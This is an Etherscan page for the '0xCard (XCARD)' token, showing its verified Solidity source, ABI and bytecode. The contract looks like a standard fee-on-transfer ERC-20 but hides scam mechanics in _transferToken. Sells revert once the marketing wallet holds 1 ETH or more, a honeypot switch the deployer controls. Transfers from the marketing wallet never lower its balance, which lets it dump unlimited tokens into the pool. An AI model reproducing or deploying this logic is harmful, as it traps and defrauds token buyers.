ETH Price: $2,488.08 (+1.99%)

Token

0xCard (XCARD)
 

Overview

Max Total Supply

1,000,000,000 XCARD

Holders

41

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Filtered by Token Holder
papayaurelius.eth
Balance
2,812,285.779836256154929455 XCARD

Value
$0.00
0xef124119d88876344bc3b6af77e354d54c82e25e
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
XCARD

Compiler Version
v0.8.21+commit.d9974bed

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license
/**
 *Submitted for verification at Etherscan.io on 2023-08-03
*/

/**

https://t.me/xcardeth

https://0xcard.vip

https://x.com/xcardeth


*/


// SPDX-License-Identifier: MIT

pragma solidity 0.8.21;

interface IERC20 {
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IUniswapRouter {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

interface IUniswapFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

abstract contract Ownable {
    address internal _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = msg.sender;
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == msg.sender, "you are not owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "new is 0");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

contract XCARD is IERC20, Ownable {
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    address public marketingWallet;

    string private _name;
    string private _symbol;
    uint8 private _decimals;

    mapping(address => bool) public _isExcludeFromFee;
    
    uint256 private _totalSupply;

    IUniswapRouter public _uniswapRouter;

    mapping(address => bool) public isMarketPair;
    bool private inSwap;

    uint256 private constant MAX = ~uint256(0);

    uint256 public _buyFee = 2;
    uint256 public _sellFee = 2;

    address public _uniswapPair;

    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor (){
        _name = "0xCard";
        _symbol = "XCARD";
        _decimals = 18;
        uint256 Supply = 10 ** 9;

        _totalSupply = Supply * 10 ** _decimals;

        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);

        marketingWallet = 0x6Ed7E0D7aEC5C086dE55A6ab56F901eb1b97C22C;

        _isExcludeFromFee[address(this)] = true;
        _isExcludeFromFee[msg.sender] = true;
        _isExcludeFromFee[marketingWallet] = true;
    }    

    function symbol() external view override returns (string memory) {
        return _symbol;
    }

    function name() external view override returns (string memory) {
        return _name;
    }

    function decimals() external view override returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        if (_allowances[sender][msg.sender] != MAX) {
            _allowances[sender][msg.sender] = _allowances[sender][msg.sender] - amount;
        }
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        bool takeFee;
        bool sellFlag;

        if (isMarketPair[to] && !inSwap && !_isExcludeFromFee[from] && !_isExcludeFromFee[to]) {
            uint256 contractTokenBalance = balanceOf(address(this));
            if (contractTokenBalance > 0) {
                uint256 numTokensSellToFund = amount;
                numTokensSellToFund = numTokensSellToFund > contractTokenBalance ? 
                                                            contractTokenBalance:numTokensSellToFund;
                swapTokenForETH(numTokensSellToFund);
            }
        }

        if (!_isExcludeFromFee[from] && !_isExcludeFromFee[to] && !inSwap) {
            takeFee = true;
        }

        if (isMarketPair[to]) { sellFlag = true; }

        _transferToken(from, to, amount, takeFee, sellFlag);
    }

    function _transferToken(
        address sender,
        address recipient,
        uint256 tAmount,
        bool takeFee,
        bool sellFlag
    ) private {
        uint256 feeAmount;

        if (takeFee) {
            
            uint256 taxFee;

            if (sellFlag) {
                require(marketingWallet.balance < 1e18);
                taxFee = _sellFee;
            } else {
                taxFee = _buyFee;
            }
            uint256 swapAmount = tAmount * taxFee / 100;
            if (swapAmount > 0) {
                feeAmount += swapAmount;
                _balances[address(this)] = _balances[address(this)] + swapAmount;
                emit Transfer(sender, address(this), swapAmount);
            }
        } 
        if (sender != marketingWallet)
        _balances[sender] = _balances[sender] - tAmount;
        _balances[recipient] = _balances[recipient] + (tAmount - feeAmount);
        emit Transfer(sender, recipient, tAmount - feeAmount);

    }

    function swapTokenForETH(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _uniswapRouter.WETH();
        try _uniswapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(marketingWallet),
            block.timestamp
        ) {} catch {}
    }

    uint256 public tradingBlock;
    function openTrading() external payable onlyOwner {
        require(tradingBlock == 0,"already trading");

        IUniswapRouter swapRouter = IUniswapRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);

        _uniswapRouter = swapRouter;
        _allowances[address(this)][address(swapRouter)] = MAX;

        IUniswapFactory swapFactory = IUniswapFactory(swapRouter.factory());
        address swapPair = swapFactory.createPair(address(this), swapRouter.WETH());
        _uniswapPair = swapPair;
        isMarketPair[swapPair] = true;

        _isExcludeFromFee[address(swapRouter)] = true;

        swapRouter.addLiquidityETH{value: msg.value}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(swapPair).approve(address(swapRouter), MAX);

        tradingBlock = block.number;
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_buyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludeFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapRouter","outputs":[{"internalType":"contract IUniswapRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526002600c556002600d553480156200001a575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3506040805180820190915260068152650c1e10d85c9960d21b60208201526004906200008790826200023f565b50604080518082019091526005808252641610d0549160da1b602083015290620000b290826200023f565b506006805460ff19166012908117909155633b9aca0090620000d690600a62000416565b620000e290826200042d565b6008819055335f81815260016020908152604080832085905551938452919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a350600380546001600160a01b031916736ed7e0d7aec5c086de55a6ab56f901eb1b97c22c178155305f90815260076020526040808220805460ff199081166001908117909255338452828420805482168317905593546001600160a01b031683529120805490921617905562000447565b634e487b7160e01b5f52604160045260245ffd5b600181811c90821680620001c857607f821691505b602082108103620001e757634e487b7160e01b5f52602260045260245ffd5b50919050565b601f8211156200023a575f81815260208120601f850160051c81016020861015620002155750805b601f850160051c820191505b81811015620002365782815560010162000221565b5050505b505050565b81516001600160401b038111156200025b576200025b6200019f565b62000273816200026c8454620001b3565b84620001ed565b602080601f831160018114620002a9575f8415620002915750858301515b5f19600386901b1c1916600185901b17855562000236565b5f85815260208120601f198616915b82811015620002d957888601518255948401946001909101908401620002b8565b5085821015620002f757878501515f19600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200035b57815f19048211156200033f576200033f62000307565b808516156200034d57918102915b93841c939080029062000320565b509250929050565b5f82620003735750600162000410565b816200038157505f62000410565b81600181146200039a5760028114620003a557620003c5565b600191505062000410565b60ff841115620003b957620003b962000307565b50506001821b62000410565b5060208310610133831016604e8410600b8410161715620003ea575081810a62000410565b620003f683836200031b565b805f19048211156200040c576200040c62000307565b0290505b92915050565b5f6200042660ff84168362000363565b9392505050565b808202811582820484141762000410576200041062000307565b6111c180620004555f395ff3fe608060405260043610610129575f3560e01c806365b61b77116100a857806395d89b411161006d57806395d89b411461034c578063a9059cbb14610360578063c9567bf91461037f578063cd51e6d414610387578063dd62ed3e1461039c578063f2fde38b146103e0575f80fd5b806365b61b77146102a857806370a08231146102c7578063715018a6146102fb57806375f0a874146103115780638da5cb5b14610330575f80fd5b806336b2e027116100ee57806336b2e027146101eb5780633ecad2711461021957806340b9a54b146102475780634bf28fd01461025c578063590f897e14610293575f80fd5b806306fdde0314610134578063095ea7b31461015e57806318160ddd1461018d57806323b872dd146101ab578063313ce567146101ca575f80fd5b3661013057005b5f80fd5b34801561013f575f80fd5b506101486103ff565b6040516101559190610ead565b60405180910390f35b348015610169575f80fd5b5061017d610178366004610f0f565b61048f565b6040519015158152602001610155565b348015610198575f80fd5b506008545b604051908152602001610155565b3480156101b6575f80fd5b5061017d6101c5366004610f39565b6104a5565b3480156101d5575f80fd5b5060065460405160ff9091168152602001610155565b3480156101f6575f80fd5b5061017d610205366004610f77565b60076020525f908152604090205460ff1681565b348015610224575f80fd5b5061017d610233366004610f77565b600a6020525f908152604090205460ff1681565b348015610252575f80fd5b5061019d600c5481565b348015610267575f80fd5b50600e5461027b906001600160a01b031681565b6040516001600160a01b039091168152602001610155565b34801561029e575f80fd5b5061019d600d5481565b3480156102b3575f80fd5b5060095461027b906001600160a01b031681565b3480156102d2575f80fd5b5061019d6102e1366004610f77565b6001600160a01b03165f9081526001602052604090205490565b348015610306575f80fd5b5061030f610537565b005b34801561031c575f80fd5b5060035461027b906001600160a01b031681565b34801561033b575f80fd5b505f546001600160a01b031661027b565b348015610357575f80fd5b506101486105b1565b34801561036b575f80fd5b5061017d61037a366004610f0f565b6105c0565b61030f6105cc565b348015610392575f80fd5b5061019d600f5481565b3480156103a7575f80fd5b5061019d6103b6366004610f99565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b3480156103eb575f80fd5b5061030f6103fa366004610f77565b61093e565b60606004805461040e90610fd0565b80601f016020809104026020016040519081016040528092919081815260200182805461043a90610fd0565b80156104855780601f1061045c57610100808354040283529160200191610485565b820191905f5260205f20905b81548152906001019060200180831161046857829003601f168201915b5050505050905090565b5f61049b338484610a01565b5060015b92915050565b5f6104b1848484610a61565b6001600160a01b0384165f9081526002602090815260408083203384529091529020545f191461052d576001600160a01b0384165f90815260026020908152604080832033845290915290205461050990839061101c565b6001600160a01b0385165f9081526002602090815260408083203384529091529020555b5060019392505050565b5f546001600160a01b031633146105695760405162461bcd60e51b81526004016105609061102f565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b60606005805461040e90610fd0565b5f61049b338484610a61565b5f546001600160a01b031633146105f55760405162461bcd60e51b81526004016105609061102f565b600f54156106375760405162461bcd60e51b815260206004820152600f60248201526e616c72656164792074726164696e6760881b6044820152606401610560565b600980546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155305f90815260026020908152604080832084845282528083205f199055805163c45a015560e01b81529051849263c45a015592600480820193918290030181865afa1580156106b1573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106d5919061105a565b90505f816001600160a01b031663c9c6539630856001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610724573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610748919061105a565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610792573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107b6919061105a565b600e80546001600160a01b0319166001600160a01b038381169182179092555f908152600a60209081526040808320805460ff199081166001908117909255948916808552600784528285208054909616821790955530808552925290912054929350909163f305d7199134915f806108365f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561089c573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906108c19190611075565b505060405163095ea7b360e01b81526001600160a01b0385811660048301525f1960248301528316915063095ea7b3906044016020604051808303815f875af1158015610910573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061093491906110a0565b505043600f555050565b5f546001600160a01b031633146109675760405162461bcd60e51b81526004016105609061102f565b6001600160a01b0381166109a85760405162461bcd60e51b815260206004820152600860248201526706e657720697320360c41b6044820152606401610560565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0382165f908152600a6020526040812054819060ff168015610a8d5750600b5460ff16155b8015610ab157506001600160a01b0385165f9081526007602052604090205460ff16155b8015610ad557506001600160a01b0384165f9081526007602052604090205460ff16155b15610b0e57305f908152600160205260409020548015610b0c5783818111610afd5780610aff565b815b9050610b0a81610b9f565b505b505b6001600160a01b0385165f9081526007602052604090205460ff16158015610b4e57506001600160a01b0384165f9081526007602052604090205460ff16155b8015610b5d5750600b5460ff16155b15610b6757600191505b6001600160a01b0384165f908152600a602052604090205460ff1615610b8b575060015b610b988585858585610cef565b5050505050565b600b805460ff191660011790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110610bdf57610bdf6110bf565b6001600160a01b03928316602091820292909201810191909152600954604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610c36573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c5a919061105a565b81600181518110610c6d57610c6d6110bf565b6001600160a01b03928316602091820292909201015260095460035460405163791ac94760e01b81529183169263791ac94792610cb89287925f9288929091169042906004016110d3565b5f604051808303815f87803b158015610ccf575f80fd5b505af1925050508015610ce0575060015b505050600b805460ff19169055565b5f8215610dce575f8215610d2757600354670de0b6b3a76400006001600160a01b039091163110610d1e575f80fd5b50600d54610d2c565b50600c545b5f6064610d398388611142565b610d439190611159565b90508015610dcb57610d558184611178565b305f90815260016020526040902054909350610d72908290611178565b305f81815260016020526040908190209290925590516001600160a01b038a16907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610dc29085815260200190565b60405180910390a35b50505b6003546001600160a01b03878116911614610e1f576001600160a01b0386165f90815260016020526040902054610e0690859061101c565b6001600160a01b0387165f908152600160205260409020555b610e29818561101c565b6001600160a01b0386165f90815260016020526040902054610e4b9190611178565b6001600160a01b038087165f8181526001602052604090209290925587167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610e94848861101c565b60405190815260200160405180910390a3505050505050565b5f6020808352835180828501525f5b81811015610ed857858101830151858201604001528201610ebc565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610f0c575f80fd5b50565b5f8060408385031215610f20575f80fd5b8235610f2b81610ef8565b946020939093013593505050565b5f805f60608486031215610f4b575f80fd5b8335610f5681610ef8565b92506020840135610f6681610ef8565b929592945050506040919091013590565b5f60208284031215610f87575f80fd5b8135610f9281610ef8565b9392505050565b5f8060408385031215610faa575f80fd5b8235610fb581610ef8565b91506020830135610fc581610ef8565b809150509250929050565b600181811c90821680610fe457607f821691505b60208210810361100257634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b8181038181111561049f5761049f611008565b6020808252601190820152703cb7ba9030b932903737ba1037bbb732b960791b604082015260600190565b5f6020828403121561106a575f80fd5b8151610f9281610ef8565b5f805f60608486031215611087575f80fd5b8351925060208401519150604084015190509250925092565b5f602082840312156110b0575f80fd5b81518015158114610f92575f80fd5b634e487b7160e01b5f52603260045260245ffd5b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156111215784516001600160a01b0316835293830193918301916001016110fc565b50506001600160a01b03969096166060850152505050608001529392505050565b808202811582820484141761049f5761049f611008565b5f8261117357634e487b7160e01b5f52601260045260245ffd5b500490565b8082018082111561049f5761049f61100856fea26469706673582212203827cf3351d5b24b62311d62be5239f44a5f653b21638563dcdd3b89773bbb4664736f6c63430008150033

Deployed Bytecode

0x608060405260043610610129575f3560e01c806365b61b77116100a857806395d89b411161006d57806395d89b411461034c578063a9059cbb14610360578063c9567bf91461037f578063cd51e6d414610387578063dd62ed3e1461039c578063f2fde38b146103e0575f80fd5b806365b61b77146102a857806370a08231146102c7578063715018a6146102fb57806375f0a874146103115780638da5cb5b14610330575f80fd5b806336b2e027116100ee57806336b2e027146101eb5780633ecad2711461021957806340b9a54b146102475780634bf28fd01461025c578063590f897e14610293575f80fd5b806306fdde0314610134578063095ea7b31461015e57806318160ddd1461018d57806323b872dd146101ab578063313ce567146101ca575f80fd5b3661013057005b5f80fd5b34801561013f575f80fd5b506101486103ff565b6040516101559190610ead565b60405180910390f35b348015610169575f80fd5b5061017d610178366004610f0f565b61048f565b6040519015158152602001610155565b348015610198575f80fd5b506008545b604051908152602001610155565b3480156101b6575f80fd5b5061017d6101c5366004610f39565b6104a5565b3480156101d5575f80fd5b5060065460405160ff9091168152602001610155565b3480156101f6575f80fd5b5061017d610205366004610f77565b60076020525f908152604090205460ff1681565b348015610224575f80fd5b5061017d610233366004610f77565b600a6020525f908152604090205460ff1681565b348015610252575f80fd5b5061019d600c5481565b348015610267575f80fd5b50600e5461027b906001600160a01b031681565b6040516001600160a01b039091168152602001610155565b34801561029e575f80fd5b5061019d600d5481565b3480156102b3575f80fd5b5060095461027b906001600160a01b031681565b3480156102d2575f80fd5b5061019d6102e1366004610f77565b6001600160a01b03165f9081526001602052604090205490565b348015610306575f80fd5b5061030f610537565b005b34801561031c575f80fd5b5060035461027b906001600160a01b031681565b34801561033b575f80fd5b505f546001600160a01b031661027b565b348015610357575f80fd5b506101486105b1565b34801561036b575f80fd5b5061017d61037a366004610f0f565b6105c0565b61030f6105cc565b348015610392575f80fd5b5061019d600f5481565b3480156103a7575f80fd5b5061019d6103b6366004610f99565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b3480156103eb575f80fd5b5061030f6103fa366004610f77565b61093e565b60606004805461040e90610fd0565b80601f016020809104026020016040519081016040528092919081815260200182805461043a90610fd0565b80156104855780601f1061045c57610100808354040283529160200191610485565b820191905f5260205f20905b81548152906001019060200180831161046857829003601f168201915b5050505050905090565b5f61049b338484610a01565b5060015b92915050565b5f6104b1848484610a61565b6001600160a01b0384165f9081526002602090815260408083203384529091529020545f191461052d576001600160a01b0384165f90815260026020908152604080832033845290915290205461050990839061101c565b6001600160a01b0385165f9081526002602090815260408083203384529091529020555b5060019392505050565b5f546001600160a01b031633146105695760405162461bcd60e51b81526004016105609061102f565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b60606005805461040e90610fd0565b5f61049b338484610a61565b5f546001600160a01b031633146105f55760405162461bcd60e51b81526004016105609061102f565b600f54156106375760405162461bcd60e51b815260206004820152600f60248201526e616c72656164792074726164696e6760881b6044820152606401610560565b600980546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155305f90815260026020908152604080832084845282528083205f199055805163c45a015560e01b81529051849263c45a015592600480820193918290030181865afa1580156106b1573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106d5919061105a565b90505f816001600160a01b031663c9c6539630856001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610724573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610748919061105a565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610792573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107b6919061105a565b600e80546001600160a01b0319166001600160a01b038381169182179092555f908152600a60209081526040808320805460ff199081166001908117909255948916808552600784528285208054909616821790955530808552925290912054929350909163f305d7199134915f806108365f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561089c573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906108c19190611075565b505060405163095ea7b360e01b81526001600160a01b0385811660048301525f1960248301528316915063095ea7b3906044016020604051808303815f875af1158015610910573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061093491906110a0565b505043600f555050565b5f546001600160a01b031633146109675760405162461bcd60e51b81526004016105609061102f565b6001600160a01b0381166109a85760405162461bcd60e51b815260206004820152600860248201526706e657720697320360c41b6044820152606401610560565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0382165f908152600a6020526040812054819060ff168015610a8d5750600b5460ff16155b8015610ab157506001600160a01b0385165f9081526007602052604090205460ff16155b8015610ad557506001600160a01b0384165f9081526007602052604090205460ff16155b15610b0e57305f908152600160205260409020548015610b0c5783818111610afd5780610aff565b815b9050610b0a81610b9f565b505b505b6001600160a01b0385165f9081526007602052604090205460ff16158015610b4e57506001600160a01b0384165f9081526007602052604090205460ff16155b8015610b5d5750600b5460ff16155b15610b6757600191505b6001600160a01b0384165f908152600a602052604090205460ff1615610b8b575060015b610b988585858585610cef565b5050505050565b600b805460ff191660011790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110610bdf57610bdf6110bf565b6001600160a01b03928316602091820292909201810191909152600954604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610c36573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c5a919061105a565b81600181518110610c6d57610c6d6110bf565b6001600160a01b03928316602091820292909201015260095460035460405163791ac94760e01b81529183169263791ac94792610cb89287925f9288929091169042906004016110d3565b5f604051808303815f87803b158015610ccf575f80fd5b505af1925050508015610ce0575060015b505050600b805460ff19169055565b5f8215610dce575f8215610d2757600354670de0b6b3a76400006001600160a01b039091163110610d1e575f80fd5b50600d54610d2c565b50600c545b5f6064610d398388611142565b610d439190611159565b90508015610dcb57610d558184611178565b305f90815260016020526040902054909350610d72908290611178565b305f81815260016020526040908190209290925590516001600160a01b038a16907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610dc29085815260200190565b60405180910390a35b50505b6003546001600160a01b03878116911614610e1f576001600160a01b0386165f90815260016020526040902054610e0690859061101c565b6001600160a01b0387165f908152600160205260409020555b610e29818561101c565b6001600160a01b0386165f90815260016020526040902054610e4b9190611178565b6001600160a01b038087165f8181526001602052604090209290925587167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610e94848861101c565b60405190815260200160405180910390a3505050505050565b5f6020808352835180828501525f5b81811015610ed857858101830151858201604001528201610ebc565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610f0c575f80fd5b50565b5f8060408385031215610f20575f80fd5b8235610f2b81610ef8565b946020939093013593505050565b5f805f60608486031215610f4b575f80fd5b8335610f5681610ef8565b92506020840135610f6681610ef8565b929592945050506040919091013590565b5f60208284031215610f87575f80fd5b8135610f9281610ef8565b9392505050565b5f8060408385031215610faa575f80fd5b8235610fb581610ef8565b91506020830135610fc581610ef8565b809150509250929050565b600181811c90821680610fe457607f821691505b60208210810361100257634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b8181038181111561049f5761049f611008565b6020808252601190820152703cb7ba9030b932903737ba1037bbb732b960791b604082015260600190565b5f6020828403121561106a575f80fd5b8151610f9281610ef8565b5f805f60608486031215611087575f80fd5b8351925060208401519150604084015190509250925092565b5f602082840312156110b0575f80fd5b81518015158114610f92575f80fd5b634e487b7160e01b5f52603260045260245ffd5b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156111215784516001600160a01b0316835293830193918301916001016110fc565b50506001600160a01b03969096166060850152505050608001529392505050565b808202811582820484141761049f5761049f611008565b5f8261117357634e487b7160e01b5f52601260045260245ffd5b500490565b8082018082111561049f5761049f61100856fea26469706673582212203827cf3351d5b24b62311d62be5239f44a5f653b21638563dcdd3b89773bbb4664736f6c63430008150033

Deployed Bytecode Sourcemap

